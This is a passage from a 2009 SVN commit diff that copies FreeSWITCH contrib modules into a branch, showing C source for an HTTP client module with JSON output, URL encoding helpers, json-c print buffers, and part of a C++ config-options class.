+ * @param k a pointer to the key to delete.
+ * @return 0 if the item was deleted.
+ * @return -1 if it was not found.
+ */
+extern int lh_table_delete(struct lh_table *t, void *k);
+
+
+#endif

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/mod_http.c

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/mod_http.c (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/mod_http.c) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/mod_http.c	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/mod_http.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,382 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2008, Eric des Courtis <eric.des.courtis@benbria.com>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * Eric des Courtis <eric.des.courtis@benbria.com>
+ * Copyright (C) Benbria. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Eric des Courtis <eric.des.courtis@benbria.com>
+ *
+ *
+ * mod_http.c -- HTTP client implementation for FreeSWITCH
+ * 
+ * The purpose is to provide laguages like LUA with a _fast_ HTTP
+ * client implementation.
+ *
+ * Support for SSL will be provided in future versions.
+ * Initial release does not include win32 support.
+ *
+ */
+
+
+#include <switch.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <strings.h>
+#include <sys/queue.h>
+#include "json.h"
+
+#include "http_req.h"
+#include "url_encoding.h"
+
+#define HTTP_SYNTAX "<http_method> <url> <urlejson_headers> [urlejson_body]"
+#define HTTP_PARAMS 4
+#define HTTP_BUFFER_SIZE (256 * 1024)
+
+/* SWITCH_STANDARD_API(http_api_main); */
+
+#define MAX_MEMLOCS 512
+#define GARBAGE_TYPES_INIT() \
+typedef struct memloc{\
+    void *p;\
+    LIST_ENTRY(memloc) memlocs;\
+} memloc_t
+
+#define GARBAGE_CLEANUP() \
+do{\
+    for(memloc_p = head.lh_first; memloc_p != NULL; \
+        memloc_p = memloc_p->memlocs.le_next){\
+        free(memloc_p->p);\
+    }\
+}while(0)
+
+#define GARBAGE_ADD(a) \
+do {\
+    if (memloc_i >= MAX_MEMLOCS){\
+	switch_safe_free(ccmd);\
+	GARBAGE_CLEANUP();\
+	stream->write_function(stream, "-ERR\n");\
+	return SWITCH_STATUS_SUCCESS;\
+    }\
+    memloc_a[memloc_i].p = (void *)a;\
+    LIST_INSERT_HEAD(&head, memloc_a + memloc_i, memlocs);\
+    memloc_i++;\
+}while(0)
+
+#define GARBAGE_INIT() \
+    LIST_HEAD(listhead, memloc) head;\
+    memloc_t memloc_a[MAX_MEMLOCS];\
+    memloc_t *memloc_p;\
+    size_t memloc_i;\
+    LIST_INIT(&head);\
+    memloc_i = 0
+
+GARBAGE_TYPES_INIT();
+
+SWITCH_STANDARD_API(http_api_main)
+{
+	char *ccmd;
+	int argc;
+	char *argv[HTTP_PARAMS];
+	char *buf;
+	char *method;
+	char *url;
+	char *headers_dec;
+	char *headers_str;
+	char *value;
+	char *body;
+	char *body_dec;
+	char *t;
+	char *json_response;
+	struct json_object *json_http_headers;
+	char *key;
+	struct json_object *val;
+	enum json_type jsontype;
+	struct lh_entry *entry;
+	int i;
+	int j;
+	int f;
+	size_t l;
+	size_t m;
+	size_t a = 0;
+	int ret;
+
+	http_header_t *headers;
+	http_request_t request;
+	http_response_t response;
+
+	GARBAGE_INIT();
+
+	(void) memset(&response, 0, sizeof(response));
+
+	if (cmd == NULL) {
+		stream->write_function(stream, "-USAGE: %s\n", HTTP_SYNTAX);
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	ccmd = strdup(cmd);
+	argc = switch_separate_string(ccmd, ' ', argv, HTTP_PARAMS);
+
+	if (argc != HTTP_PARAMS && argc != (HTTP_PARAMS - 1)) {
+		switch_safe_free(ccmd);
+		stream->write_function(stream, "-ERR\n");
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	method = argv[0];
+	if (strcasecmp("GET", method) == 0)
+		request.method = GET;
+	else if (strcasecmp("POST", method) == 0)
+		request.method = POST;
+	else if (strcasecmp("HEAD", method) == 0)
+		request.method = HEAD;
+	else if (strcasecmp("DELETE", method) == 0)
+		request.method = DELETE;
+	else if (strcasecmp("PUT", method) == 0)
+		request.method = PUT;
+
+
+
+	url = argv[1];
+	headers_str = argv[2];
+	if (argc == HTTP_PARAMS) {
+		body = argv[3];
+	} else {
+		body = (char *) malloc(1 * sizeof(char));
+		if (body == NULL) {
+			switch_safe_free(ccmd);
+			stream->write_function(stream, "-ERR\n");
+			return SWITCH_STATUS_SUCCESS;
+		}
+		body[0] = '\0';
+		GARBAGE_ADD(body);
+	}
+
+	buf = (char *) malloc(HTTP_BUFFER_SIZE * sizeof(char));
+	if (buf == NULL) {
+		switch_safe_free(ccmd);
+		stream->write_function(stream, "-ERR\n");
+		GARBAGE_CLEANUP();
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	GARBAGE_ADD(buf);
+
+	request.version = DEFAULT_HTTP_VERSION;
+	l = strlen(url);
+	request.url = (char *) malloc((l + 1) * sizeof(char));
+	if (request.url == NULL) {
+		switch_safe_free(ccmd);
+		stream->write_function(stream, "-ERR\n");
+		GARBAGE_CLEANUP();
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	GARBAGE_ADD(request.url);
+	strcpy(request.url, url);
+
+
+	l = strlen(headers_str);
+
+	headers_dec = url_decode(headers_str, l);
+	GARBAGE_ADD(headers_dec);
+
+	json_http_headers = json_tokener_parse(headers_dec);
+	if (is_error(json_http_headers)) {
+		switch_safe_free(ccmd);
+		stream->write_function(stream, "-ERR\n");
+		GARBAGE_CLEANUP();
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	jsontype = json_object_get_type(json_http_headers);
+	if (jsontype != json_type_object) {
+		switch_safe_free(ccmd);
+		stream->write_function(stream, "-ERR\n");
+		GARBAGE_CLEANUP();
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	i = 0;
+	json_object_object_foreach(json_http_headers, key, val) {
+		i++;
+	}
+
+	request.header_len = i;
+	headers = (http_header_t *) malloc(i * sizeof(http_header_t));
+	request.headers = headers;
+	GARBAGE_ADD(headers);
+
+	i = 0;
+	json_object_object_foreach(json_http_headers, key, val) {
+		l = strlen(key);
+
+		request.headers[i].field_name = (char *) malloc((l + 1) * sizeof(char));
+		if (request.headers[i].field_name == NULL) {
+			switch_safe_free(ccmd);
+			stream->write_function(stream, "-ERR\n");
+			GARBAGE_CLEANUP();
+			return SWITCH_STATUS_SUCCESS;
+		}
+
+		GARBAGE_ADD(request.headers[i].field_name);
+
+		strcpy(request.headers[i].field_name, key);
+		a += strlen(key);
+
+		jsontype = json_object_get_type(val);
+		if (jsontype != json_type_string) {
+			switch_safe_free(ccmd);
+			stream->write_function(stream, "-ERR\n");
+			GARBAGE_CLEANUP();
+			return SWITCH_STATUS_SUCCESS;
+		}
+
+		value = json_object_get_string(val);
+		/* value = json_object_to_json_string(val); */
+		l = strlen(value);
+		request.headers[i].value = (char *) malloc((l + 1) * sizeof(char));
+		if (request.headers[i].value == NULL) {
+			switch_safe_free(ccmd);
+			stream->write_function(stream, "-ERR\n");
+			GARBAGE_CLEANUP();
+			return SWITCH_STATUS_SUCCESS;
+		}
+		GARBAGE_ADD(request.headers[i].value);
+		strcpy(request.headers[i].value, value);
+		a += strlen(value);
+		i++;
+	}
+
+	if (argc == HTTP_PARAMS) {
+		l = strlen(body);
+		body_dec = url_decode(body, l);
+		GARBAGE_ADD(body_dec);
+		l = strlen(body_dec);
+		request.body_len = l;
+		request.body = body_dec;
+	} else
+		request.body_len = 0;
+
+	ret = http_req(&request, &response);
+
+	if (response.version != NULL)
+		GARBAGE_ADD(response.version);
+	if (response.phrase != NULL)
+		GARBAGE_ADD(response.phrase);
+	if (response.headers != NULL)
+		GARBAGE_ADD(response.headers);
+	if (response.body != NULL)
+		GARBAGE_ADD(response.body);
+	for (i = 0; i < response.header_len; i++) {
+		GARBAGE_ADD(response.headers[i].field_name);
+		GARBAGE_ADD(response.headers[i].value);
+	}
+
+
+	if (ret == ERROR) {
+		switch_safe_free(ccmd);
+		stream->write_function(stream, "-ERR\n");
+		GARBAGE_CLEANUP();
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	/* This is evil and should be changed in the future */
+	l = 128 + (256 * response.header_len) + (a * 2)
+		+ strlen("version") + strlen(response.version)
+		+ strlen("status_code") + 3 + strlen("phrase") + strlen(response.phrase)
+		+ strlen("body") + (response.body_len * 3) + 1 + strlen("headers")
+		+ 1;
+
+	/* to be safe */
+	l <<= 2;
+
+	json_response = (char *) malloc(l * sizeof(char));
+	if (json_response == NULL) {
+		switch_safe_free(ccmd);
+		stream->write_function(stream, "-ERR\n");
+		GARBAGE_CLEANUP();
+		return SWITCH_STATUS_SUCCESS;
+	}
+	GARBAGE_ADD(json_response);
+
+	if (response.body_len != 0) {
+		t = (char *) malloc((response.body_len + 1) * sizeof(char));
+		if (t == NULL) {
+			switch_safe_free(ccmd);
+			stream->write_function(stream, "-ERR\n");
+			GARBAGE_CLEANUP();
+			return SWITCH_STATUS_SUCCESS;
+		}
+		GARBAGE_ADD(t);
+		(void) memcpy(t, response.body, response.body_len);
+		t[response.body_len] = '\0';
+		response.body = url_encode(t, response.body_len);
+		GARBAGE_ADD(response.body);
+	}
+
+
+	m = snprintf(json_response, l,
+				 "{"
+				 "\"version\": \"%s\","
+				 "\"status_code\": \"%3d\","
+				 "\"phrase\": \"%s\","
+				 "\"body\": \"%s\","
+				 "\"headers\": [", response.version, response.status_code, response.phrase, ((response.body_len <= 0) ? "" : response.body)
+		);
+
+
+	for (f = HTTP_FALSE, j = 0; j < response.header_len; j++) {
+		if (f != HTTP_FALSE) {
+			m += snprintf(json_response + m, l - m, ",");
+		} else
+			f = HTTP_TRUE;
+
+		m += snprintf(json_response + m, l - m, "{\"key\": \"%s\",\"value\": \"%s\"}", response.headers[j].field_name, response.headers[j].value);
+	}
+
+
+	m += snprintf(json_response + m, l - m, "]}");
+	json_response[m] = '\0';
+
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "RESERVED %u BYTES, USED %u BYTES, HTTP Response as JSON: %s\n", (unsigned)l, (unsigned) m, json_response);
+
+
+	stream->write_function(stream, "%s\n", json_response);
+
+	switch_safe_free(ccmd);
+	GARBAGE_CLEANUP();
+	return SWITCH_STATUS_SUCCESS;
+}
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_http_load);
+SWITCH_MODULE_DEFINITION(mod_http, mod_http_load, NULL, NULL);
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_http_load)
+{
+	switch_api_interface_t *api_interface;
+
+	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "HTTP request mod enabled\n");
+
+	SWITCH_ADD_API(api_interface, "http", "Make HTTP requests", http_api_main, HTTP_SYNTAX);
+
+	return SWITCH_STATUS_SUCCESS;
+}

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/printbuf.c

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/printbuf.c (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/printbuf.c) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/printbuf.c	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/printbuf.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,149 @@
+/*
+ * $Id: printbuf.c,v 1.5 2006/01/26 02:16:28 mclark Exp $
+ *
+ * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd.
+ * Michael Clark <michael@metaparadigm.com>
+ *
+ * This library is free software; you can redistribute it and/or modify
+ * it under the terms of the MIT license. See COPYING for details.
+ *
+ */
+
+#include "config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#if HAVE_STDARG_H
+# include <stdarg.h>
+#else /* !HAVE_STDARG_H */
+# error Not enough var arg support!
+#endif /* HAVE_STDARG_H */
+
+#include "bits.h"
+#include "debug.h"
+#include "printbuf.h"
+
+struct printbuf *printbuf_new()
+{
+	struct printbuf *p;
+
+	if (!(p = calloc(1, sizeof(struct printbuf))))
+		return NULL;
+	p->size = 32;
+	p->bpos = 0;
+	if (!(p->buf = malloc(p->size))) {
+		free(p);
+		return NULL;
+	}
+	return p;
+}
+
+
+int printbuf_memappend(struct printbuf *p, char *buf, int size)
+{
+	char *t;
+	if (p->size - p->bpos <= size) {
+		int new_size = max(p->size * 2, p->bpos + size + 8);
+#ifdef PRINTBUF_DEBUG
+		mc_debug("printbuf_memappend: realloc " "bpos=%d wrsize=%d old_size=%d new_size=%d\n", p->bpos, size, p->size, new_size);
+#endif /* PRINTBUF_DEBUG */
+		if (!(t = realloc(p->buf, new_size)))
+			return -1;
+		p->size = new_size;
+		p->buf = t;
+	}
+	memcpy(p->buf + p->bpos, buf, size);
+	p->bpos += size;
+	p->buf[p->bpos] = '\0';
+	return size;
+}
+
+#if !HAVE_VSNPRINTF && defined(WIN32)
+# define vsnprintf _vsnprintf
+#elif !HAVE_VSNPRINTF			/* !HAVE_VSNPRINTF */
+# error Need vsnprintf!
+#endif /* !HAVE_VSNPRINTF && defined(WIN32) */
+
+#if !HAVE_VASPRINTF
+/* CAW: compliant version of vasprintf */
+static int vasprintf(char **buf, const char *fmt, va_list ap)
+{
+#ifndef WIN32
+	static char _T_emptybuffer = '\0';
+#endif /* !defined(WIN32) */
+	int chars;
+	char *b;
+
+	if (!buf) {
+		return -1;
+	}
+#ifdef WIN32
+	chars = _vscprintf(fmt, ap) + 1;
+#else /* !defined(WIN32) */
+	/* CAW: RAWR! We have to hope to god here that vsnprintf doesn't overwrite
+	   our buffer like on some 64bit sun systems.... but hey, its time to move on */
+	chars = vsnprintf(&_T_emptybuffer, 0, fmt, ap) + 1;
+	if (chars < 0) {
+		chars *= -1;
+	}							/* CAW: old glibc versions have this problem */
+#endif /* defined(WIN32) */
+
+	b = (char *) malloc(sizeof(char) * chars);
+	if (!b) {
+		return -1;
+	}
+
+	if ((chars = vsprintf(b, fmt, ap)) < 0) {
+		free(b);
+	} else {
+		*buf = b;
+	}
+
+	return chars;
+}
+#endif /* !HAVE_VASPRINTF */
+
+int sprintbuf(struct printbuf *p, const char *msg, ...)
+{
+	va_list ap;
+	char *t;
+	int size;
+	char buf[128];
+
+	/* user stack buffer first */
+	va_start(ap, msg);
+	size = vsnprintf(buf, 128, msg, ap);
+	va_end(ap);
+	/* if string is greater than stack buffer, then use dynamic string
+	   with vasprintf.  Note: some implementation of vsnprintf return -1
+	   if output is truncated whereas some return the number of bytes that
+	   would have been writen - this code handles both cases. */
+	if (size == -1 || size > 127) {
+		int ret;
+		va_start(ap, msg);
+		if ((size = vasprintf(&t, msg, ap)) == -1)
+			return -1;
+		va_end(ap);
+		ret = printbuf_memappend(p, t, size);
+		free(t);
+		return ret;
+	} else {
+		return printbuf_memappend(p, buf, size);
+	}
+}
+
+void printbuf_reset(struct printbuf *p)
+{
+	p->buf[0] = '\0';
+	p->bpos = 0;
+}
+
+void printbuf_free(struct printbuf *p)
+{
+	if (p) {
+		free(p->buf);
+		free(p);
+	}
+}

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/printbuf.h

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/printbuf.h (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/printbuf.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/printbuf.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/printbuf.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,33 @@
+/*
+ * $Id: printbuf.h,v 1.4 2006/01/26 02:16:28 mclark Exp $
+ *
+ * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd.
+ * Michael Clark <michael@metaparadigm.com>
+ *
+ * This library is free software; you can redistribute it and/or modify
+ * it under the terms of the MIT license. See COPYING for details.
+ *
+ */
+
+#ifndef _printbuf_h_
+#define _printbuf_h_
+
+#undef PRINTBUF_DEBUG
+
+struct printbuf {
+	char *buf;
+	int bpos;
+	int size;
+};
+
+extern struct printbuf *printbuf_new();
+
+extern int printbuf_memappend(struct printbuf *p, char *buf, int size);
+
+extern int sprintbuf(struct printbuf *p, const char *msg, ...);
+
+extern void printbuf_reset(struct printbuf *p);
+
+extern void printbuf_free(struct printbuf *p);
+
+#endif

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/url_encoding.c

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/url_encoding.c (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/url_encoding.c) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/url_encoding.c	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/url_encoding.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,126 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2008, Eric des Courtis <eric.des.courtis@benbria.com>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * Eric des Courtis <eric.des.courtis@benbria.com>
+ * Copyright (C) Benbria. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Eric des Courtis <eric.des.courtis@benbria.com>
+ *
+ *
+ * url_encoding.c -- url encoding/decoding
+ *
+ */
+#include "url_encoding.h"
+
+#ifdef DEBUG
+int main(int argc, char *argv[])
+{
+	char *buf1;
+	char *buf2;
+
+
+	buf1 = url_encode("This is a test #$ ");
+	buf2 = url_decode(buf1);
+
+	printf("%s\n", buf2);
+
+	free(buf1);
+	free(buf2);
+	return EXIT_FAILURE;
+}
+
+#endif
+
+char *url_encode(char *url, size_t l)
+{
+	int i;
+	int j;
+	char *buf;
+	unsigned char c;
+
+	buf = (char *) malloc((l * 3) + 1);
+	if (buf == NULL) {
+		perror("Could not allocate memory url encoding");
+		return NULL;
+	}
+
+	for (i = 0, j = 0; i < l; i++) {
+		c = (unsigned char) url[i];
+		if (c <= 31 || c >= 127
+			|| c == '$' || c == '&' || c == '+' || c == ',' || c == '/'
+			|| c == ':' || c == ';' || c == '=' || c == '?' || c == '@'
+			|| c == ' ' || c == '"' || c == '<' || c == '>' || c == '#'
+			|| c == '%' || c == '{' || c == '}' || c == '|' || c == '\\' || c == '^' || c == '~' || c == '[' || c == ']' || c == '`') {
+
+			(void) sprintf(buf + j, "%%%X%X", c >> 4, c & 0x0F);
+			j += 3;
+		} else {
+			buf[j] = url[i];
+			j++;
+		}
+	}
+
+	buf[j] = '\0';
+
+	return buf;
+}
+
+char *url_decode(char *url, size_t l)
+{
+	int i;
+	int j;
+	char *buf;
+	char c;
+	char d0;
+	char d1;
+
+	buf = (char *) malloc((l + 1) * sizeof(char));
+	if (buf == NULL) {
+		perror("Could not allocate memory for decoding");
+		return NULL;
+	}
+
+	for (i = 0, j = 0; i < l; j++) {
+		c = url[i];
+		if (c == '%') {
+			d0 = url[i + 2];
+			d1 = url[i + 1];
+			d0 = toupper(d0);
+			d1 = toupper(d1);
+
+			if (d0 >= 'A' && d0 <= 'F')
+				d0 = d0 - 'A' + 10;
+			else if (d0 >= '0' && d0 <= '9')
+				d0 = d0 - '0';
+			if (d1 >= 'A' && d1 <= 'F')
+				d1 = d1 - 'A' + 10;
+			else if (d1 >= '0' && d1 <= '9')
+				d1 = d1 - '0';
+
+			buf[j] = (d1 << 4) + d0;
+			i += 3;
+		} else {
+			buf[j] = url[i];
+			i++;
+		}
+	}
+
+	buf[j] = '\0';
+
+	return buf;
+}

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/url_encoding.h

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/url_encoding.h (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/url_encoding.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/url_encoding.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/url_encoding.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,41 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2008, Eric des Courtis <eric.des.courtis@benbria.com>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * Eric des Courtis <eric.des.courtis@benbria.com>
+ * Copyright (C) Benbria. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Eric des Courtis <eric.des.courtis@benbria.com>
+ *
+ *
+ * url_encoding.h -- url encoding/decoding
+ *
+ */
+
+#ifndef __URL_ENCODING_H__
+#define __URL_ENCODING_H__
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <ctype.h>
+#include <errno.h>
+
+char *url_encode(char *url, size_t l);
+char *url_decode(char *url, size_t l);
+
+#endif

Copied: freeswitch/branches/seven/contrib/mod/asr_tts (from rev 14471, freeswitch/trunk/contrib/mod/asr_tts)

Copied: freeswitch/branches/seven/contrib/mod/codecs (from rev 14471, freeswitch/trunk/contrib/mod/codecs)

Copied: freeswitch/branches/seven/contrib/mod/dialplans (from rev 14471, freeswitch/trunk/contrib/mod/dialplans)

Copied: freeswitch/branches/seven/contrib/mod/directories (from rev 14471, freeswitch/trunk/contrib/mod/directories)

Copied: freeswitch/branches/seven/contrib/mod/endpoints (from rev 14471, freeswitch/trunk/contrib/mod/endpoints)

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp)

Deleted: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/Makefile

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/Makefile (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/Makefile) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,8 @@
+MODNAME=mod_khomp
+VERBOSE=1
+LOCAL_CFLAGS=-I./include -I./commons -D_REENTRANT -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -DK3L_HOSTSYSTEM -g -ggdb
+LOCAL_LDFLAGS=-lk3l
+LOCAL_OBJS= ./commons/k3lapi.o ./commons/config_options.o ./commons/format.o ./commons/strings.o
+LOCAL_OBJS+= ./src/globals.o ./src/opt.o ./src/khomp_pvt.o
+
+include ../../../../build/modmake.rules

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/commons)

Deleted: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/config_options.cpp

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/config_options.cpp (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/commons/config_options.cpp) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/config_options.cpp	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/config_options.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,665 @@
+#include <config_options.hpp>
+
+config_option::config_option(std::string name, const config_option::string_type & value, const config_option::string_type defvalue, string_allowed_type allowed, bool list_me)
+: _my_name(name), _value_data(new string_data_type(const_cast<string_type &>(value), defvalue, allowed)),
+  _list_me(list_me), _values(NULL), _loaded(false)
+{};
+
+config_option::config_option(std::string name, const config_option::string_type & value, const config_option::string_type defvalue, bool list_me)
+: _my_name(name), _value_data(new string_data_type(const_cast<string_type &>(value), defvalue, string_allowed_type())),
+  _list_me(list_me), _values(NULL), _loaded(false)
+{};
+
+config_option::config_option(std::string name, const config_option::sint_type & value, const config_option::sint_type defvalue,
+                             config_option::sint_type min, config_option::sint_type max, config_option::sint_type step, bool list_me)
+: _my_name(name), _value_data(new sint_data_type(const_cast<sint_type &>(value), defvalue, range<sint_type>(min, max, step))),
+  _list_me(list_me), _values(NULL), _loaded(false)
+{};
+
+config_option::config_option(std::string name, const config_option::uint_type & value, const config_option::uint_type defvalue,
+                             config_option::uint_type min, config_option::uint_type max, config_option::uint_type step, bool list_me)
+: _my_name(name), _value_data(new uint_data_type(const_cast<uint_type &>(value), defvalue, range<uint_type>(min, max, step))),
+  _list_me(list_me), _values(NULL), _loaded(false)
+{};
+
+config_option::config_option(std::string name, const config_option::bool_type & value, const config_option::bool_type defvalue, bool list_me)
+: _my_name(name), _value_data(new bool_data_type(const_cast<bool_type &>(value), defvalue)),
+  _list_me(list_me), _values(NULL), _loaded(false)
+{};
+
+config_option::config_option(std::string name, config_option::fun_type fun, std::string defvalue, string_allowed_type allowed, bool list_me)
+: _my_name(name), _value_data(new fun_data_type(fun, defvalue, allowed)),
+  _list_me(list_me), _values(NULL), _loaded(false)
+{};
+
+config_option::config_option(std::string name, config_option::fun_type fun, std::string defvalue, bool list_me)
+: _my_name(name), _value_data(new fun_data_type(fun, defvalue, string_allowed_type())),
+  _list_me(list_me), _values(NULL), _loaded(false)
+{};
+
+config_option::~config_option(void)
+{
+    if (_values)
+    {
+        for (unsigned int i = 0; _values[i] != NULL; i++)
+            delete _values[i];
+
+        delete[] _values;
+    }
+};
+
+void config_option::set(config_option::string_type value)
+{
+    switch (_value_data.which())
+    {
+        case ID_STRING:
+        {
+            try 
+            {
+                string_data_type & tmp = _value_data.get<string_data_type>();
+            
+
+                if (tmp.string_allowed.empty())
+                {
+                    tmp.string_val = value;
+                    _loaded = true;
+                }
+                else
+                {
+                    if (tmp.string_allowed.find(value) != tmp.string_allowed.end())
+                    {
+                        tmp.string_val = value;
+                        _loaded = true;
+                        return;
+                    }
+
+                    std::string allowed_string;
+
+                    for (string_allowed_type::iterator i = tmp.string_allowed.begin(); i != tmp.string_allowed.end(); i++)
+                    {
+                        allowed_string += " '";
+                        allowed_string += (*i);
+                        allowed_string += "'";
+                    }
+    
+                    throw config_process_failure(STG(FMT("value '%s' not allowed for option '%s' (allowed values:%s)")
+                        % value % _my_name % allowed_string));
+                }
+                break;
+            }
+            catch(value_type::InvalidType & e)
+            {
+                throw;
+            }
+        }
+
+        case ID_FUN:
+        {
+            try 
+            {
+                fun_data_type & tmp = _value_data.get<fun_data_type>();
+                tmp.fun_val(value);
+                _loaded = true;
+            break;
+            }
+            catch(value_type::InvalidType & e)
+            {
+                throw;
+            }
+
+        }
+
+        default:
+        {
+            throw config_process_failure(STG(FMT("option '%s' is not of type string, nor function defined") % _my_name));
+        }
+    }
+}
+
+void config_option::set(config_option::sint_type value)
+{
+    try
+    {
+        sint_data_type & tmp = _value_data.get<sint_data_type>();
+
+        if (value < tmp.sint_range.minimum)
+            throw config_process_failure(STG(FMT("value '%d' out-of-range for option '%s' (too low)") % value % _my_name));
+
+        if (value > tmp.sint_range.maximum)
+            throw config_process_failure(STG(FMT("value '%d' out-of-range for option '%s' (too high)") % value % _my_name));
+
+        if (((value - tmp.sint_range.minimum) % tmp.sint_range.step) != 0)
+            throw config_process_failure(STG(FMT("value '%d' out-of-range for option '%s' (outside allowed step)") % value % _my_name));
+
+        tmp.sint_val = value;
+        _loaded = true;
+    }
+    catch(value_type::InvalidType & e)
+    {
+        throw;
+    }
+}
+
+void config_option::set(config_option::uint_type value)
+{
+    try
+    {
+        uint_data_type & tmp = _value_data.get<uint_data_type>();
+
+        if (value < tmp.uint_range.minimum)
+            throw config_process_failure(STG(FMT("value '%d' out-of-range for option '%s' (too low)") % value % _my_name));
+
+        if (value > tmp.uint_range.maximum)
+            throw config_process_failure(STG(FMT("value '%d' out-of-range for option '%s' (too high)") % value % _my_name));
+
+        if (((value - tmp.uint_range.minimum) % tmp.uint_range.step) != 0)
+            throw config_process_failure(STG(FMT("value '%d' out-of-range for option '%s' (outside allowed step)") % value % _my_name));
+
+        tmp.uint_val = value;
+        _loaded = true;
+    }
+    catch(value_type::InvalidType & e)
+    {
+        throw;
+    }
+}
+
+void config_option::set(config_option::bool_type value)
+{
+    try
+    {
+        bool_data_type & tmp = _value_data.get<bool_data_type>();
+        tmp.bool_val = value;
+        _loaded = true;
+    }
+    catch(value_type::InvalidType & e)
+    {
+        throw;
+    }
+
+}
+
+std::string & config_option::name(void) { return _my_name; };
+
+config_option::value_id_type config_option::type(void) 
